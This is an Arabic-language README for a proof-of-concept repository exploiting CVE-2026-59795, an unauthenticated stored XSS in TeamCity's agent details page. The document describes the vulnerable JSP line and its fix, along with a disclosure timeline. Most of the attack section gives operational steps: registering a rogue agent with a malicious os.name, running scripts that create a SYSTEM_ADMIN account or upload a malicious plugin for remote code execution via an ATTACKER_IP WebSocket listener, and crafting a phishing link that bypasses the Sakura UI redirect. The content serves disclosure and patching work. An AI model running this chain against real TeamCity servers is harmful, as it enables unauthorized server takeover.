
إثبات مفهوم لـ CVE-2026-59795: XSS مخزّن دون مصادقة في تفاصيل وكيل TeamCity، متسلسل إلى إنشاء حساب SYSTEM_ADMIN وRCE عبر رفع إضافة.
XSS مخزّن غير مُصادَق عليه في صفحة تفاصيل الوكيل القديمة في TeamCity، يتصاعد إلى RCE على الخادم دون إعادة تشغيل. يقوم المهاجم بتسجيل وكيل بناء (دون الحاجة إلى بيانات اعتماد) بقيمة os.name خبيثة، ثم يدفع مسؤولًا إلى عرض صفحة تفاصيل ذلك الوكيل. يُنفَّذ الحمولة في جلسة المسؤول المُصادَق عليها ويمكنه إنشاء حساب SYSTEM_ADMIN أو رفع إضافة خبيثة وتحميلها.
| CVE | CVE-2026-59795 |
| المتأثر | TeamCity <= 2026.1.1 (build 222577) |
| تم الإصلاح في | 2026.1.2 (222647)، 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| النوع | XSS مخزّن (CWE-79)، قابل للتسلسل إلى استيلاء على SYSTEM_ADMIN وRCE |
| المصادقة المطلوبة | لا شيء لزرع الحمولة |
المُشغِّل: يعرض مسؤول الوكيل الخبيث، إما عبر رابط مُصمَّم بنقرة واحدة &fromSakuraUI=true على واجهة Sakura الافتراضية، أو دون أي تصيّد على الإطلاق عبر فتح الوكيل المعلّق في سير عمل التفويض العادي عندما يكون المسؤول على الواجهة الكلاسيكية (خيار "Use Sakura UI" غير مُحدَّد لكل مستخدم، أو الوضع الكلاسيكي على مستوى الخادم).
يعرض webapps/ROOT/agent/agentSummary.jsp اسم نظام التشغيل الذي يُبلّغ عنه الوكيل دون تهريب:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
الشرح الكامل مع لقطات الشاشة والخلفية: https://joakimbulow.com/posts/cve-2026-59795/
اسم الوكيل الشقيق في الأسطر القليلة أعلاه يستخدم <c:out>، مما يؤكد أن الإغفال غير مقصود. إن operatingSystemName خاضع بالكامل لتحكم المهاجم: حيث يقوم وكيل غير مصادَق عليه بتعيينه عند التسجيل (سمة osName في POST /app/agents/v1/register)، ويقوم الخادم بتخزينه وإعادته حرفيًا كما هو.
تقوم واجهة Sakura React بتهريب osName بشكل صحيح، وتعيد التوجيه بعيدًا عن الصفحة القديمة في الحالة الطبيعية، لكن يتم تخطي إعادة التوجيه (وتُعرض صفحة JSP غير المهرَّبة) عندما:
?fromSakuraUI=true في عنوان URL (علم التجاوز الخاص بوسم إعادة التوجيه)، أوteamcity.ui.experimental=disableDefault، أو إلغاء الاشتراك في "Use Sakura UI" الخاص بكل مستخدم)، أوتم التأكيد عمليًا:
alert(document.domain) في جلسة المسؤول، دون آثار جانبية.SYSTEM_ADMIN جديد في جلسة المسؤول (دون تنفيذ تعليمات برمجية عن بُعد RCE)./admin/pluginUpload.html وتفعيلها عبر /admin/plugins.html (EnableAllPlugins)، مما يحمّل شيفرة Java الخاصة بالمهاجم داخل JVM الخاص بـ TeamCity قيد التشغيل دون إعادة تشغيل. تم التحقق عبر ملف إثبات كُتب على مضيف الخادم، بعد 4 ثوانٍ من نقر المسؤول.قم بتهريب المخرجات في agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(حقل agent.version في السطر أعلاه يعاني من المشكلة نفسها ويحتاج إلى الإصلاح نفسه.)
GET /update/buildAgent.zipjavac على جهاز المهاجم، مطلوب فقط لإثبات مفهوم RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
لا تحتاج إلى تحرير conf/buildAgent.properties يدويًا؛ فكل PoC أدناه يضبط serverUrl من وسيطه --url/--tc-url ويعيد كتابة اسم الوكيل في كل تشغيل، لذا من الآمن إعادة استخدام المجلد نفسه غير المُفكَّك evilagent/ مرارًا وتكرارًا.
./poc/)شغّل هذه بالترتيب، فكل واحد منها يؤكد تأثيرًا أكبر من الذي قبله.
1. alert_only.py، تأكيد XSS، دون أي آثار جانبية. يزرع وكيلًا يُظهر osName الخاص به alert(document.domain). لا يُنشأ حساب، ولا يُنفَّذ أي كود.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py، استغلال XSS للاستيلاء على SYSTEM_ADMIN، دون RCE. نفس الزرع، لكن الحمولة تنشئ حساب SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) وتستعلم بشكل متكرر حتى يتمكن ذلك الحساب من تسجيل الدخول.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py، السلسلة الكاملة، من XSS إلى رفع الإضافة إلى RCE، في طرفية واحدة. يبني إضافة، ويشغّل الوكيل الخبيث وخادم WebSocket، ويطبع رابط التصيّد الاحتيالي. عندما يعرضه المدير: يُنفَّذ XSS، ويُسلّم خادم WS الإضافة، فتُرفع وتُفعَّل، ويحمّلها TeamCity أثناء التشغيل.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
كل PoC يطبع رابطًا مثل:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
أرسل ذلك إلى المسؤول (واجهة Sakura، بنقرة واحدة)، أو، إذا كان المسؤول يستخدم الواجهة الكلاسيكية بالفعل، فما عليك سوى توجيهه إلى agentDetails.html?id=N دون أي معامل خاص، على سبيل المثال عبر تدفق مراجعة الوكلاء المعلّقين المعتاد.
خلال ثوانٍ من نقر المسؤول، على مضيف خادم TeamCity:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
إذا لم يتمكن متصفح المسؤول من الوصول إلى جهاز المهاجم الخاص بك مباشرةً، على سبيل المثال، إذا كان الوصول إليك متاحًا فقط عبر نفق SSH إلى الهدف، فاستخدم rce_prepare.py لبناء الإضافة والوكيل على جهازك، ثم انقل poc/ws_serve.py وملف ZIP الخاص بالإضافة المبني إلى مضيف TeamCity وقدّمهما من هناك:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
مرّر منفذ WebSocket عبر النفق نفسه المستخدم للوصول إلى TeamCity (-L 1337:localhost:1337) حتى يتمكن متصفح المسؤول من الوصول إليه عبر ws://localhost:1337.
ملاحظة التنظيف: يسجّل كل تشغيل وكيلًا باسم جديد، لذا لن تتعارض التشغيلات المتكررة، لكن كل تشغيل يترك وكيلًا غير مصرّح به جديدًا. أزلها من Agents -> Unauthorized بعد الاختبار.
| الملف | الغرض |
|---|---|
poc/alert_only.py | خطوة الفرز 1، تأكيد XSS باستخدام alert() غير ضار |
poc/attacker_deeplink.py | خطوة الفرز 2، من XSS إلى الاستيلاء على SYSTEM_ADMIN |
poc/rce_ws_server.py | خطوة الفرز 3، سلسلة كاملة من XSS إلى الرفع إلى RCE، في طرفية واحدة |
poc/rce_prepare.py | سلسلة RCE نفسها، مقسّمة بحيث يمكن تشغيل خادم WebSocket على المضيف الهدف (إعدادات النفق) |
poc/ws_serve.py | خادم ملفات WebSocket مستقل يُستخدم في إعداد rce_prepare.py المقسّم |
poc/poclib.py | مساعد مشترك: يهيّئ الوكيل الخبيث ويشغّله |
poc/payloads.txt | متغيرات حمولة XSS الخام (alert، بدون مسافات، create-admin) |
| التاريخ | الحدث |
|---|---|
| 2026-06-15 | تم الإبلاغ |
| 2026-06-15 | تم الإقرار |
| 2026-06-17 | تم الإصلاح |
| 2026-07-01 | إصدار الإصلاح، 2026.1.2 (222647) و2025.11.6 (208214) |
| 2026-07-10 | نشر CVE |
| 2026-11-03 | نشر POC |